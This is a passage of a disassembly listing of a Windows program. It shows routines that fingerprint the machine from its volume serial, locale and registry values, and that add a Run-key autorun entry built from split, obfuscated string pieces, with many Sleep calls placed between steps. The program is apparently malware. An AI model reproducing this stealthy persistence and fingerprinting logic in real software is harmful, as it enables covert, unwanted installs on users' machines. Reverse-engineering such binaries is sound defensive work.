		lea	ecx, [ebp-98h]
		jmp	short loc_4249E3
; ---------------------------------------------------------------------------


loc_424966:				; CODE XREF: sub_424606+2F9j
		test	al, al
		jz	short loc_4249E8
		cmp	byte ptr [ebp+0Fh], 0
		jnz	short loc_4249E8
		push	dword ptr [ebp-10h]
		call	sub_4221DB
		test	eax, eax
		pop	ecx
		jz	short loc_42498D
		push	1
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp-10h]
		call	sub_421D8A
		add	esp, 0Ch


loc_42498D:				; CODE XREF: sub_424606+375j
		push	80000000h
		push	1
		push	ecx
		mov	ecx, esp
		mov	[ebp+0Ch], esp
		push	offset byte_439CB0
		call	sub_43178A
		push	ecx
		mov	byte ptr [ebp-4], 0Ch
		mov	ecx, esp
		mov	[ebp-20h], esp
		push	offset dword_43724C
		call	sub_43178A
		lea	ecx, [ebp-78h]
		mov	byte ptr [ebp-4], 7
		call	sub_42692B
		push	ecx
		mov	byte ptr [ebp-4], 0Dh
		mov	ecx, esp
		mov	[ebp+0Ch], esp
		push	ebx
		call	sub_431796
		lea	ecx, [ebp-78h]
		call	sub_426DB8
		mov	byte ptr [ebp-4], 7
		lea	ecx, [ebp-78h]


loc_4249E3:				; CODE XREF: sub_424606+35Ej
		call	sub_426ABF


loc_4249E8:				; CODE XREF: sub_424606+2EFj
					; sub_424606+362j ...
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 3
		call	sub_4317A2
		lea	ecx, [ebp-24h]
		mov	byte ptr [ebp-4], 2
		call	sub_4317A2
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-10h]
		call	sub_4317A2
		add	esi, 1400Ch
		dec	dword ptr [ebp-28h]
		jnz	loc_424640


loc_424A1B:				; CODE XREF: sub_424606+1Ej
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	8
sub_424606	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424A2E	proc near		; CODE XREF: sub_422C48+123p

var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 12Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_422199
		pop	ecx
		push	[ebp+arg_4]
		call	dword_433048	; SetCurrentDirectoryA
		xor	esi, esi
		push	2
		push	esi
		push	[ebp+arg_0]
		call	sub_43126B
		mov	edi, eax
		lea	eax, [ebp+var_12C]
		push	eax
		push	0FFFFFFFFh
		push	edi
		call	sub_431338
		mov	ebx, [ebp+var_12C]
		add	esp, 18h
		test	ebx, ebx
		jle	short loc_424A9F


loc_424A77:				; CODE XREF: sub_424A2E+6Fj
		lea	eax, [ebp+var_12C]
		push	eax
		push	esi
		push	edi
		call	sub_431338
		push	2
		lea	eax, [ebp+var_128]
		push	0
		push	eax
		push	esi
		push	edi
		call	sub_431620
		add	esp, 20h
		inc	esi
		cmp	esi, ebx
		jl	short loc_424A77


loc_424A9F:				; CODE XREF: sub_424A2E+47j
		push	edi
		call	sub_43168B
		pop	ecx
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		leave
		retn	8
sub_424A2E	endp


; =============== S U B	R O U T	I N E =======================================



sub_424AAF	proc near		; CODE XREF: sub_422C48+DAp
		mov	eax, offset loc_43211E
		call	sub_4318CA	; _EH_prolog
		push	ecx
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	8
		mov	[ebp-4], ebx
		call	sub_431784
		pop	ecx
		mov	ecx, eax
		mov	[ebp-14h], ecx
		cmp	ecx, ebx
		mov	byte ptr [ebp-4], 1
		jz	short loc_424AE0
		call	sub_421000
		mov	esi, eax
		jmp	short loc_424AE2
; ---------------------------------------------------------------------------


loc_424AE0:				; CODE XREF: sub_424AAF+26j
		xor	esi, esi


loc_424AE2:				; CODE XREF: sub_424AAF+2Fj
		mov	ecx, esi
		mov	[ebp-4], bl
		call	sub_42103D
		lea	eax, [ebp-10h]
		mov	ecx, esi
		push	eax
		push	dword ptr [ebp+8]
		call	sub_42146A
		mov	ecx, esi
		call	sub_4210DD
		cmp	esi, ebx
		jz	short loc_424B0D
		mov	eax, [esi]
		push	1
		mov	ecx, esi
		call	dword ptr [eax]


loc_424B0D:				; CODE XREF: sub_424AAF+54j
		mov	eax, [ebp+0Ch]
		cmp	eax, [ebp-10h]
		jnz	short loc_424B17
		mov	bl, 1


loc_424B17:				; CODE XREF: sub_424AAF+64j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp+8]
		call	sub_4317A2
		mov	ecx, [ebp-0Ch]
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	8
sub_424AAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_424B35	proc near		; CODE XREF: sub_422C48+88p
					; sub_422C48+1D2p ...

arg_0		= byte ptr  4

		lea	ecx, [esp+arg_0]
		call	sub_4317A2
		retn	4
sub_424B35	endp


; =============== S U B	R O U T	I N E =======================================



sub_424B41	proc near		; CODE XREF: sub_422A1E+E9p
		mov	eax, offset loc_432189
		call	sub_4318CA	; _EH_prolog
		sub	esp, 3C8h
		push	ebx
		push	esi
		mov	[ebp-20h], ecx
		xor	esi, esi
		push	edi
		lea	ecx, [ebp-34h]
		mov	[ebp-40h], esi
		call	sub_4317AE
		lea	ecx, [ebp-30h]
		mov	[ebp-4], esi
		call	sub_4317AE
		mov	dx, ds:word_439CB4
		xor	eax, eax
		lea	edi, [ebp-5Ah]
		mov	[ebp-5Ch], dx
		stosd
		stosd
		stosd
		stosd
		stosw
		xor	eax, eax
		lea	edi, [ebp-66h]
		mov	[ebp-68h], dx
		push	40h
		stosd
		stosd
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp-3D2h]
		mov	[ebp-3D4h], dx
		rep stosd
		stosw
		xor	eax, eax
		lea	edi, [ebp-46h]
		mov	[ebp-48h], dx
		push	40h
		stosw
		pop	ecx
		lea	edi, [ebp-1CAh]
		mov	[ebp-1CCh], dx
		mov	[ebp-18h], dx
		rep stosd
		stosw
		xor	eax, eax
		lea	edi, [ebp-16h]
		stosb
		lea	edi, [ebp-1Ah]
		mov	[ebp-1Ch], dx
		stosb
		lea	edi, [ebp-12h]
		mov	[ebp-14h], dx
		lea	ecx, [ebp-44h]
		mov	byte ptr [ebp-4], 1
		stosb
		mov	[ebp-2Ch], esi
		mov	byte ptr [ebp-21h], 1
		call	sub_4317AE
		mov	esi, dword_4330E0
		push	20h
		mov	byte ptr [ebp-4], 2
		call	esi	; Sleep
		mov	edi, dword_4330CC
		lea	eax, [ebp-2D0h]
		push	offset a67f9158b ; "67F9158B"
		push	eax
		call	edi	; lstrcpyA
		push	2
		call	esi	; Sleep
		lea	eax, [ebp-2D0h]
		push	eax
		call	dword_4330B4	; lstrlenA
		mov	ecx, [ebp-20h]
		push	eax
		lea	eax, [ebp-2D0h]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		call	sub_4230F8
		push	dword ptr [eax]
		lea	eax, [ebp-3Ch]
		push	eax
		call	edi	; lstrcpyA
		lea	ecx, [ebp-10h]
		call	sub_4317A2
		lea	eax, [ebp-2D0h]
		push	offset a39	; "39"
		push	eax
		call	edi	; lstrcpyA
		push	1
		call	esi	; Sleep
		cmp	byte ptr [ebp+0Ch], 0
		mov	ebx, dword_433074
		jz	short loc_424C9B
		lea	eax, [ebp-2D0h]
		push	eax
		call	dword_4330B4	; lstrlenA
		mov	ecx, [ebp-20h]
		push	eax
		lea	eax, [ebp-2D0h]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		call	sub_4230F8
		push	dword ptr [eax]
		lea	eax, [ebp-1CCh]
		push	eax
		call	ebx	; lstrcatA
		lea	ecx, [ebp-10h]
		call	sub_4317A2


loc_424C9B:				; CODE XREF: sub_424B41+124j
		lea	eax, [ebp-3D4h]
		push	104h
		push	eax
		call	dword_4330D4	; GetWindowsDirectoryA
		xor	eax, eax
		mov	[ebp-10h], eax
		jmp	short loc_424CB7
; ---------------------------------------------------------------------------


loc_424CB4:				; CODE XREF: sub_424B41+18Bj
		mov	eax, [ebp-10h]


loc_424CB7:				; CODE XREF: sub_424B41+171j
		mov	cl, [ebp+eax-3D4h]
		push	eax
		mov	[ebp+eax-48h], cl
		call	esi	; Sleep
		inc	dword ptr [ebp-10h]
		cmp	dword ptr [ebp-10h], 3
		jl	short loc_424CB4
		xor	eax, eax
		lea	ecx, [ebp-40h]
		push	eax
		push	eax
		push	eax
		push	eax
		push	ecx
		push	eax
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		call	dword_4330B8	; GetVolumeInformationA
		mov	ecx, [ebp-20h]
		lea	eax, [ebp-5Ch]
		push	10h
		push	eax
		push	dword ptr [ebp-40h]
		call	sub_42527B
		lea	eax, [ebp-2D0h]
		push	offset a67f9198b ; "67F9198B"
		push	eax
		call	edi	; lstrcpyA
		push	2
		call	esi	; Sleep
		lea	eax, [ebp-2D0h]
		push	eax
		call	dword_4330B4	; lstrlenA
		mov	ecx, [ebp-20h]
		push	eax
		lea	eax, [ebp-2D0h]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		call	sub_4230F8
		push	dword ptr [eax]
		lea	eax, [ebp-3Ch]
		push	eax
		call	edi	; lstrcpyA
		lea	ecx, [ebp-10h]
		call	sub_4317A2
		push	dword ptr [ebp-40h]
		lea	eax, [ebp-3Ch]
		push	eax
		lea	eax, [ebp-5Ch]
		push	eax
		call	dword_433298	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp-5Ch]
		push	eax
		call	dword_43329C	; CharUpperA
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-1CCh]
		push	eax
		call	ebx	; lstrcatA
		lea	eax, [ebp-2D0h]
		push	offset a0a887397a5f240 ; "0A887397A5F240675EEF4D35019B6883A6FA5D6"...
		push	eax
		call	edi	; lstrcpyA
		push	20h
		call	esi	; Sleep
		push	80000002h
		push	1
		lea	eax, [ebp-2D0h]
		push	0
		push	eax
		call	dword_4330B4	; lstrlenA
		push	ecx
		mov	ecx, esp
		mov	[ebp-28h], esp
		push	eax
		lea	eax, [ebp-2D0h]
		push	eax
		push	ecx
		mov	ecx, [ebp-20h]
		call	sub_4230F8
		lea	ecx, [ebp-0C8h]
		call	sub_426584
		mov	byte ptr [ebp-4], 3
		lea	ecx, [ebp-0C8h]
		call	sub_426816
		mov	[ebp-28h], eax
		lea	eax, [ebp-2D0h]
		push	offset a67f9158b ; "67F9158B"
		push	eax
		call	edi	; lstrcpyA
		lea	eax, [ebp-2D0h]
		push	eax
		call	dword_4330B4	; lstrlenA
		mov	ecx, [ebp-20h]
		push	eax
		lea	eax, [ebp-2D0h]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		call	sub_4230F8
		push	dword ptr [eax]
		lea	eax, [ebp-3Ch]
		push	eax
		call	edi	; lstrcpyA
		lea	ecx, [ebp-10h]
		call	sub_4317A2
		push	dword ptr [ebp-28h]
		lea	eax, [ebp-3Ch]
		push	eax
		lea	eax, [ebp-5Ch]
		push	eax
		call	dword_433298	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp-1CCh]
		push	offset asc_437340 ; "-"
		push	eax
		call	ebx	; lstrcatA
		push	22h
		call	esi	; Sleep
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-1CCh]
		push	eax
		call	ebx	; lstrcatA
		call	dword_4330BC	; GetSystemDefaultLCID
		push	eax
		lea	eax, [ebp-3Ch]
		push	eax
		lea	eax, [ebp-5Ch]
		push	eax
		call	dword_433298	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp-1CCh]
		push	offset asc_437340 ; "-"
		push	eax
		call	ebx	; lstrcatA
		push	2
		call	esi	; Sleep
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-1CCh]
		push	eax
		call	ebx	; lstrcatA
		lea	eax, [ebp-2D0h]
		push	offset a0a887397a5f2_0 ; "0A887397A5F240675EEF4D35019B6883A6FA5D6"...
		push	eax
		call	edi	; lstrcpyA
		push	1
		call	esi	; Sleep
		lea	eax, [ebp-2D0h]
		push	eax
		call	dword_4330B4	; lstrlenA
		mov	ecx, [ebp-20h]
		push	eax
		lea	eax, [ebp-2D0h]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		call	sub_4230F8
		push	eax
		lea	ecx, [ebp-44h]
		mov	byte ptr [ebp-4], 4
		call	sub_4317A8
		mov	byte ptr [ebp-4], 3
		lea	ecx, [ebp-28h]
		call	sub_4317A2
		push	1
		call	esi	; Sleep
		push	80000002h
		push	1
		push	ecx
		mov	ecx, esp
		mov	[ebp-28h], esp
		push	offset byte_439CB0
		call	sub_43178A
		push	ecx
		lea	eax, [ebp-44h]
		mov	ecx, esp
		mov	[ebp-10h], esp
		push	eax
		mov	byte ptr [ebp-4], 5
		call	sub_431796
		lea	ecx, [ebp-0A8h]
		mov	byte ptr [ebp-4], 3
		call	sub_42692B
		lea	eax, [ebp-10h]
		lea	ecx, [ebp-0A8h]
		push	eax
		mov	byte ptr [ebp-4], 6
		call	sub_426D5C
		lea	eax, [ebp-10h]
		lea	ecx, [ebp-30h]
		push	eax
		mov	byte ptr [ebp-4], 7
		call	sub_4317A8
		lea	ecx, [ebp-10h]
		mov	byte ptr [ebp-4], 6
		call	sub_4317A2
		mov	eax, [ebp-30h]
		mov	eax, [eax-8]
		test	eax, eax
		jg	short loc_424F61
		mov	eax, [ebp-2Ch]
		mov	ecx, [ebp-20h]
		push	offset a000_0	; "-000"
		and	byte ptr [eax],	0
		lea	eax, [ebp-1CCh]
		push	eax
		call	sub_426496
		push	1
		call	esi	; Sleep
		mov	ecx, [ebp-20h]
		lea	eax, [ebp-1CCh]
		push	offset a000	; "0-00"
		push	eax
		call	sub_426496
		jmp	loc_424FE9
; ---------------------------------------------------------------------------


loc_424F61:				; CODE XREF: sub_424B41+3E7j
		push	eax
		lea	ecx, [ebp-30h]
		call	sub_4317D2
		mov	cl, [eax]
		mov	[ebp-2Ch], eax
		mov	[ebp-18h], cl
		mov	cl, [eax+1]
		and	byte ptr [ebp-16h], 0
		mov	[ebp-17h], cl
		mov	cl, [eax+3]
		push	offset asc_437340 ; "-"
		mov	[ebp-1Ch], cl
		mov	cl, [eax+4]
		and	byte ptr [ebp-1Ah], 0
		mov	[ebp-1Bh], cl
		mov	cl, [eax+6]
		mov	[ebp-14h], cl
		mov	al, [eax+7]
		and	byte ptr [ebp-12h], 0
		mov	[ebp-13h], al
		lea	eax, [ebp-1CCh]
		push	eax
		call	ebx	; lstrcatA
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-1CCh]
		push	eax
		call	ebx	; lstrcatA
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-1CCh]
		push	eax
		call	ebx	; lstrcatA
		lea	eax, [ebp-1CCh]
		push	offset asc_437340 ; "-"
		push	eax
		call	ebx	; lstrcatA
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-1CCh]
		push	eax
		call	ebx	; lstrcatA
		push	0FFFFFFFFh
		lea	ecx, [ebp-30h]
		call	sub_4317CC


loc_424FE9:				; CODE XREF: sub_424B41+41Bj
		lea	eax, [ebp-2D0h]
		push	offset a0a887397a5f2_1 ; "0A887397A5F240675EEF4D35019B6883A6FA5D6"...
		push	eax
		call	edi	; lstrcpyA
		push	21h
		call	esi	; Sleep
		push	80000002h
		push	1
		push	ecx
		mov	ecx, esp
		mov	[ebp-28h], esp
		push	offset byte_439CB0
		call	sub_43178A
		lea	eax, [ebp-2D0h]
		mov	byte ptr [ebp-4], 8
		push	eax
		call	dword_4330B4	; lstrlenA
		push	ecx
		mov	ecx, esp
		mov	[ebp-10h], esp
		push	eax
		lea	eax, [ebp-2D0h]
		push	eax
		push	ecx
		mov	ecx, [ebp-20h]
		call	sub_4230F8
		lea	ecx, [ebp-88h]
		mov	byte ptr [ebp-4], 6
		call	sub_42692B
		lea	eax, [ebp-10h]
		lea	ecx, [ebp-88h]
		push	eax
		mov	byte ptr [ebp-4], 9
		call	sub_426D5C
		lea	eax, [ebp-10h]
		lea	ecx, [ebp-34h]
		push	eax
		mov	byte ptr [ebp-4], 0Ah
		call	sub_4317A8
		lea	ecx, [ebp-10h]
		mov	byte ptr [ebp-4], 9
		call	sub_4317A2
		mov	eax, [ebp-34h]
		mov	eax, [eax-8]
		test	eax, eax
		mov	[ebp-28h], eax
		jle	loc_425113
		push	1
		call	esi	; Sleep
		push	dword ptr [ebp-28h]
		lea	ecx, [ebp-34h]
		call	sub_4317D2
		mov	[ebp-2Ch], eax
		mov	al, [eax]
		push	1
		mov	[ebp-18h], al
		call	esi	; Sleep
		mov	eax, [ebp-2Ch]
		push	1
		mov	cl, [eax+1]
		and	byte ptr [ebp-16h], 0
		mov	[ebp-17h], cl
		mov	cl, [eax+3]
		mov	[ebp-1Ch], cl
		mov	cl, [eax+4]
		and	byte ptr [ebp-1Ah], 0
		mov	[ebp-1Bh], cl
		mov	al, [eax+6]
		mov	[ebp-14h], al
		call	esi	; Sleep
		mov	eax, [ebp-2Ch]
		push	1
		mov	al, [eax+7]
		and	byte ptr [ebp-12h], 0
		mov	[ebp-13h], al
		call	esi	; Sleep
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-1CCh]
		push	eax
		call	ebx	; lstrcatA
		push	1
		call	esi	; Sleep
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-1CCh]
		push	eax
		call	ebx	; lstrcatA
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-1CCh]
		push	eax
		call	ebx	; lstrcatA
		push	0FFFFFFFFh
		lea	ecx, [ebp-34h]
		call	sub_4317CC
		jmp	short loc_42513E
; ---------------------------------------------------------------------------


loc_425113:				; CODE XREF: sub_424B41+542j
		push	0
		push	dword ptr [ebp-2Ch]
		call	edi	; lstrcpyA
		push	1
		call	esi	; Sleep
		lea	eax, [ebp-1CCh]
		push	offset a000_1	; "000"
		push	eax
		call	ebx	; lstrcatA
		push	1
		call	esi	; Sleep
		lea	eax, [ebp-1CCh]
		push	offset a001	; "001"
		push	eax
		call	ebx	; lstrcatA


loc_42513E:				; CODE XREF: sub_424B41+5D0j
		lea	eax, [ebp-68h]
		push	104h
		push	eax
		push	5
		push	400h
		call	dword_4330C0	; GetLocaleInfoA
		push	25h
		call	esi	; Sleep
		mov	ecx, [ebp-20h]
		lea	eax, [ebp-68h]
		push	eax
		call	sub_42522A
		push	eax
		lea	eax, [ebp-3Ch]
		push	eax
		lea	eax, [ebp-5Ch]
		push	eax
		call	dword_433298	; wsprintfA
		add	esp, 0Ch
		push	1
		call	esi	; Sleep
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-1CCh]
		push	eax
		call	ebx	; lstrcatA
		cmp	byte ptr [ebp+0Ch], 0
		jz	short loc_42519B
		lea	eax, [ebp-1CCh]
		push	offset asc_437278 ; "}"
		push	eax
		call	ebx	; lstrcatA


loc_42519B:				; CODE XREF: sub_424B41+64Aj
		lea	eax, [ebp-1CCh]
		push	eax
		push	dword ptr [ebp+8]
		call	edi	; lstrcpyA
		push	dword ptr [ebp+8]
		call	dword_4330B4	; lstrlenA
		movzx	ecx, byte ptr [ebp+0Ch]
		shl	ecx, 1
		sub	eax, ecx
		cmp	eax, 24h
		jz	short loc_4251C1
		and	byte ptr [ebp-21h], 0


loc_4251C1:				; CODE XREF: sub_424B41+67Aj
		push	24h
		call	esi	; Sleep
		lea	ecx, [ebp-88h]
		mov	byte ptr [ebp-4], 6
		call	sub_426ABF
		lea	ecx, [ebp-0A8h]
		mov	byte ptr [ebp-4], 3
		call	sub_426ABF
		lea	ecx, [ebp-0C8h]
		mov	byte ptr [ebp-4], 2
		call	sub_4266D6
		lea	ecx, [ebp-44h]
		mov	byte ptr [ebp-4], 1
		call	sub_4317A2
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-30h]
		call	sub_4317A2
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-34h]
		call	sub_4317A2
		mov	ecx, [ebp-0Ch]
		mov	al, [ebp-21h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	8
sub_424B41	endp


; =============== S U B	R O U T	I N E =======================================



sub_42522A	proc near		; CODE XREF: sub_424B41+61Ep

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		xor	dl, dl


loc_425233:				; CODE XREF: sub_42522A+Fj
		cmp	byte ptr [eax],	20h
		jnz	short loc_42523B
		inc	eax
		jmp	short loc_425233
; ---------------------------------------------------------------------------


loc_42523B:				; CODE XREF: sub_42522A+Cj
		mov	cl, [eax]
		cmp	cl, 2Bh
		jz	short loc_425249
		cmp	cl, 2Dh
		jnz	short loc_42524A
		mov	dl, 1


loc_425249:				; CODE XREF: sub_42522A+16j
					; sub_42522A+3Aj
		inc	eax


loc_42524A:				; CODE XREF: sub_42522A+1Bj
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_425266
		cmp	cl, 30h
		jl	short loc_425266
		cmp	cl, 39h
		jg	short loc_425266
		movsx	ecx, cl
		lea	esi, [esi+esi*4]
		lea	esi, [ecx+esi*2-30h]
		jmp	short loc_425249
; ---------------------------------------------------------------------------


loc_425266:				; CODE XREF: sub_42522A+24j
					; sub_42522A+29j ...
		cmp	dl, 1
		jnz	short loc_42526D
		neg	esi


loc_42526D:				; CODE XREF: sub_42522A+3Fj
		push	22h
		call	dword_4330E0	; Sleep
		mov	eax, esi
		pop	esi
		retn	4
sub_42522A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42527B	proc near		; CODE XREF: sub_424B41+1AFp

var_84		= byte ptr -84h
var_83		= byte ptr -83h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		push	ebx
		push	esi
		push	edi
		push	1Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_83]
		push	1
		rep stosd
		stosw
		stosb
		pop	edi
		xor	esi, esi
		push	edi
		mov	[ebp+var_4], esi
		call	dword_4330E0	; Sleep
		cmp	[ebp+arg_0], esi
		mov	ebx, [ebp+arg_4]
		jnz	short loc_4252B7
		dec	[ebp+arg_8]
		mov	byte ptr [ebx],	30h
		mov	[ebp+var_4], edi


loc_4252B7:				; CODE XREF: sub_42527B+31j
		and	[ebp+var_84], 0
		cmp	[ebp+arg_0], 0
		jz	short loc_4252FB


loc_4252C4:				; CODE XREF: sub_42527B+7Bj
		mov	eax, [ebp+arg_0]
		push	0Ah
		xor	edx, edx
		pop	ecx
		div	ecx
		lea	edi, [ebp+esi+var_84]
		push	1
		mov	ebx, edx
		mov	[edi], bl
		call	dword_4330E0	; Sleep
		mov	eax, [ebp+arg_0]
		push	0Ah
		xor	edx, edx
		pop	ecx
		div	ecx
		add	bl, 30h
		inc	esi
		mov	[edi], bl
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	short loc_4252C4
		mov	ebx, [ebp+arg_4]


loc_4252FB:				; CODE XREF: sub_42527B+47j
		mov	ecx, [ebp+arg_8]
		cmp	ecx, esi
		jle	short loc_425323
		sub	ecx, esi
		lea	edi, [ebp+esi+var_84]
		mov	[ebp+arg_0], ecx
		mov	edx, ecx
		mov	eax, 30303030h
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		add	esi, edx
		rep stosb


loc_425323:				; CODE XREF: sub_42527B+85j
		dec	esi
		js	short loc_42533B


loc_425326:				; CODE XREF: sub_42527B+BEj
		mov	al, [ebp+esi+var_84]
		mov	ecx, [ebp+var_4]
		dec	esi
		inc	[ebp+var_4]
		test	esi, esi
		mov	[ecx+ebx], al
		jge	short loc_425326


loc_42533B:				; CODE XREF: sub_42527B+A9j
		mov	eax, [ebp+var_4]
		push	7
		and	byte ptr [eax+ebx], 0
		call	dword_4330E0	; Sleep
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_42527B	endp


; =============== S U B	R O U T	I N E =======================================



sub_425353	proc near		; CODE XREF: sub_426022+198p
		mov	eax, offset loc_4321E4
		call	sub_4318CA	; _EH_prolog
		sub	esp, 38h
		push	esi
		push	edi
		mov	edi, ecx
		lea	ecx, [ebp-10h]
		mov	dword ptr [ebp-4], 1
		call	sub_4317AE
		push	offset aSoftwareMicros ; "SOFTWARE\\Microso"
		lea	ecx, [ebp-10h]
		mov	byte ptr [ebp-4], 2
		call	sub_43179C
		mov	esi, dword_4330E0
		push	22h
		call	esi	; Sleep
		push	offset aFtWindowsCurre ; "ft\\Windows\\Curren"
		lea	ecx, [ebp-10h]
		call	sub_4317D8
		push	20h
		call	esi	; Sleep
		push	offset aTversionR ; "tVersion\\R"
		lea	ecx, [ebp-10h]
		call	sub_4317D8
		push	20h
		call	esi	; Sleep
		push	offset aUnRu	; "un\\ru"
		lea	ecx, [ebp-10h]
		call	sub_4317D8
		push	20h
		call	esi	; Sleep
		push	offset aNner1	; "nner1"
		lea	ecx, [ebp-10h]
		call	sub_4317D8
		push	80000002h
		push	1
		push	ecx
		mov	ecx, esp
		mov	[ebp-20h], esp
		push	offset aDefaultvalue ; "defaultvalue"
		call	sub_43178A
		push	ecx
		lea	eax, [ebp-10h]
		mov	ecx, esp
		mov	[ebp-1Ch], esp
		push	eax
		mov	byte ptr [ebp-4], 3
		call	sub_431796
		lea	ecx, [ebp-44h]
		mov	byte ptr [ebp-4], 2
		call	sub_42692B
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 4
		call	sub_4317AE
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 5
		call	sub_4317AE
		lea	eax, [ebp-1Ch]
		lea	ecx, [ebp-44h]
		push	eax
		mov	byte ptr [ebp-4], 6
		call	sub_426D5C
		lea	eax, [ebp-1Ch]
		lea	ecx, [ebp-18h]
		push	eax
		mov	byte ptr [ebp-4], 7
		call	sub_4317A8
		lea	ecx, [ebp-1Ch]
		mov	byte ptr [ebp-4], 6
		call	sub_4317A2
		lea	eax, [ebp+8]
		push	offset asc_4373C8 ; " "
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		call	sub_4317BA
		lea	ecx, [ebp+0Ch]
		mov	byte ptr [ebp-4], 8
		push	ecx
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		call	sub_4317B4
		push	eax
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 9
		call	sub_4317A8
		lea	ecx, [ebp-1Ch]
		mov	byte ptr [ebp-4], 8
		call	sub_4317A2
		lea	ecx, [ebp-20h]
		mov	byte ptr [ebp-4], 6
		call	sub_4317A2
		push	dword ptr [ebp-14h]
		push	dword ptr [ebp-18h]
		call	dword_4331EC	; _mbscmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4254BA
		push	ecx
		lea	eax, [ebp-14h]
		mov	ecx, esp
		mov	[ebp-24h], esp
		push	eax
		call	sub_431796
		lea	ecx, [ebp-44h]
		call	sub_426DB8


loc_4254BA:				; CODE XREF: sub_425353+14Ej
		push	ecx
		lea	eax, [ebp+0Ch]
		mov	ecx, esp
		mov	[ebp-24h], esp
		push	eax
		call	sub_431796
		mov	ecx, edi
		call	sub_425B2E
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 5
		call	sub_4317A2
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 4
		call	sub_4317A2
		lea	ecx, [ebp-44h]
		mov	byte ptr [ebp-4], 2
		call	sub_426ABF
		lea	ecx, [ebp-10h]
		mov	byte ptr [ebp-4], 1
		call	sub_4317A2
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp+8]
		call	sub_4317A2
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp+0Ch]
		call	sub_4317A2
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, 1
		mov	large fs:0, ecx
		pop	esi
		leave
		retn	8
sub_425353	endp


; =============== S U B	R O U T	I N E =======================================



sub_42552A	proc near		; CODE XREF: sub_42852F+17Dp
		mov	eax, offset loc_43222F
		call	sub_4318CA	; _EH_prolog
		sub	esp, 34h
		and	dword ptr [ebp-1Ch], 0
		push	ebx
		push	esi
		lea	ecx, [ebp-10h]
		call	sub_4317AE
		push	1
		lea	ecx, [ebp-10h]
		pop	ebx
		push	offset aWr	; "WR"
		mov	[ebp-4], ebx
		call	sub_43179C
		mov	esi, dword_4330E0
		push	22h
		call	esi	; Sleep
		push	offset dword_437130
		lea	ecx, [ebp-10h]
		call	sub_4317D8
		push	21h
		call	esi	; Sleep
		push	offset aConfi	; "confi"
		lea	ecx, [ebp-10h]
		call	sub_4317D8
		push	21h
		call	esi	; Sleep
		push	offset aGversion ; "gversion"
		lea	ecx, [ebp-10h]
		call	sub_4317D8
		push	80000000h
		push	ebx
		push	ecx
		mov	ecx, esp
		mov	[ebp-18h], esp
		push	offset byte_439CB0
		call	sub_43178A
		push	ecx
		lea	eax, [ebp-10h]
		mov	ecx, esp
		mov	[ebp-20h], esp
		push	eax
		mov	byte ptr [ebp-4], 2
		call	sub_431796
		lea	ecx, [ebp-40h]
		mov	[ebp-4], bl
		call	sub_42692B
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 3
		call	sub_4317AE
		lea	eax, [ebp-18h]
		lea	ecx, [ebp-40h]
		push	eax
		mov	byte ptr [ebp-4], 4
